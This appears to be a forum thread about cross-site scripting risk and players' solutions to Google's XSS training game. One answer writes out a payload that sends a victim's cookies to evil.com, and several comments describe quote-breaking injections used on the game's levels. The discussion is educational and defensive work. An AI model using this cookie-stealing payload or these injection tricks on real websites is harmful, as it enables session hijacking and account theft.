I asked this question once on SO and never really got a "great" answer I was after.
If my site will only ever allow users to see their own submitted data, and never ever data another user has submitted (i.e. no general 'posts' etc) - then is there actually a XSS risk on my site?
So I'm curious if an attacker can gain anything by looking at their own XSS attack?
Yes. If you had an XSS vulnerability via a GET querystring parameter, an attacker could encourage a victim to visit a URL which exploited the vulnerability (or, say, iframed the URL in another page which they got the victim to visit), then the attacker could, say steal the user's auth cookie with something like <script>(new Image).src = "http://evil.com/stolencookie=" + document.cookie;</script>.
If you missed something else, like a CSRF attack, an attacker could get you to submit an XSS request that sends your cookies to him.
There are other defenses against that, like having HttpOnly set on your cookies. Once you decide to let one particular thing through, though, you've lost defense in depth.
Do you have CSRF protection on login? If not, an attacker can add an XSS attack to their own account, then log the victim into the attacker's account by submitting a cross-site post request with their username and password. This could potentially then read data from any other accounts the victim is logged in to at the same time. If you don't support multiple simultaneous logins, it could still allow the attacker to generate a phishing page, at your URL, which sent them back any data the user entered.
I think the real answer to this one is not really. Most of the possible attacks are either unrealistic or only possible if you're doing something stupid to begin with.
That said, there is still no excuse to trust user input. Always protect against XSS like you always protect against SQL injection.
That was a lot of fun, appropriate amount of difficulty for noobs like me.
The best part is the hints, too many of these sites have points where I go "Oh, well I don't know how to do this, and I don't see how I could figured it out, so I guess I'll just leave"
I probably should be too embarrassed to ask this question, but why can't I use script tags in the second test? I don't understand what's preventing me from doing that.
The browser smartly won't execute scripts added through innerHTML, but it probably should be noted that jquery's html() method will[0]. There's always a way to shoot yourself in the foot. :)
Does anyone know how to submit corrections to Google? I've not been able to find a way after noticing a few mistakes on Google's XSS help page. There are a few examples using an image tag but the tags haven't been closed properly:
Hey, thanks - it's a valid concern, though an important point (which isn't really well explained in the document) is that this payload will work even if the tag isn't properly terminated.
One of the reasons for using such broken payloads is to demonstrate that browsers will happily parse broken markup and that approaches such as removing "<.*>" won't be effective as a technique to prevent XSS (because such a regexp won't match an unterminated tag like the example you pointed out).
Still, it could at least use a better explanation. The documentation fairy will take a look!
Thank you for this explanation. It makes sense to me now as before I would have expected the "<.*>" approach to make it safe. It's a shame browsers are so resilient :)
Some of their products have bug trackers. That said, I submitted some fixes to their Android docs in the Android issue tracker years ago. Really obvious stuff like where their sample code would cause a crash due to trying to start a dialog with the wrong type of context, etc.. They never fixed them. So there is essentially no way. They apparently have a bug bounty system, but you would have to exploit their mistakes to do injection or something before the mistake would qualify.
Fun! Level 6 failed to load any widgets, evil or otherwise, in Chrome; I had to switch to Firefox and redo the whole test. For my external script I used http://pastebin.com/raw.php?i=15S5qZs0, although I don't think the lack of a .js extension there was the problem.
I hope this isn't a spoiler, but remember there are other ways to load resources without an external request. You can pass that stage without any requests to external servers.
This is really interesting. Does anyone have any recommendations for similar sites/challenges? I'm aware of this: https://microcorruption.com/, which is somewhat related.
Level 4 has a bug. Entering a string in the text box for the timer solves the problem, but putting that string directly as the get parameter in the URL doesn't. Anyone know how to report this?
What payload are you using on that level? Keep in mind that ";" is often treated as a parameter separator in URLs, similarly to &. If you put it into the mock URL bar it will terminate the value of your parameter (see also http://en.wikipedia.org/wiki/Query_string#Web_forms)
' after the timer value, then proceed to construct a JS expression that will be evaluated before the call to setTimer ... Hint: '99'+moo() will evaluate nicely. Don't forgot the "open" the ' again.
I can't figure how to close the quote after the '99 ? I realise that specifying ' on URL gets encoded to %27 but not sure how to turn that into the closing ' for startTime('99'); .....
JS does automatic type conversion in this case, so it's syntactically correct to multiply a string with a number (or function result). We're just interested in the side-effects of alert(), so it doesn't really matter what kind of expression we use it in, as long as it parses correctly and causes alert() to be executed (evaluated).
Their background image is successfully reproducing the nauseating effects of this monitor test [1]. I can't look at it for long without experiencing physical discomfort.
SPOILER: I used the " html += "<img src='/static/level3/cloud" + num + ".jpg' />";
" untrusted injection, but after reading the hints it seems to be suggesting window.location and the postmessage to parent stuff.
This is great!
XSS is one of the hardest things to get right when it comes to security. I'll be sure to complete all the challenges, because I'm working on a product that could use some good HTML sanitizing.
Nice one; I gave up trying to solve the last with the http-only google.com/jsapi and hosted my own with https, but then it occurred to me that it's even more trivial than I thought!
There are apparently easier ways, but I just chucked an alert(); in my Dropbox public folder, did an //dl.dropboxusercontent.com/u/14XXX/xss.js as they serve both http and https.
Interestingly, modern WebKit browsers include an "XSS auditor" that will refuse to run javascript sent in the request that loaded the page. It's pretty good (and open-source), so figuring out a way to have XSS without hitting the auditor is a big win for the attacker.
Might be because the script is injected during `onload`, which is arguably the very end of the page-loading process. But, yeah, the hint is clearly incorrect in the latest version of Chrome.
in the chooseTab function you have the following line:
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
the src opens with a single quote and looks for the 'num' var. So instead of num in the URL, you close the single quote and then close the image tag, and then run your script.
Similar to level 2 - just be careful about escaping out of the image src, and making sure the rest of the line is invalidated. Think about how you would do it if you were writing JS on your own...
on level 5 i tried to modify the url, but my quotes are automatically encoded, also tried encoding it using %22.. but didn't work.. I'm using chrome on osx, could it be a browser thing, i managed to get it to work by manually modifying the html using the developer tools :p
I had fun with this; definitely a good mini game to learn more about XSS, although it's a pitty that you can cheat-pass a level simply by appending '/record' to the end of the URL. (Granted it's just a game)
Well the first levels are trivial, right click "inspect element" and adding a onClick="alert();" on a random button and tadaa. I'm not sure you can qualify this as XSS attack though, can you?
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_She...
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_P...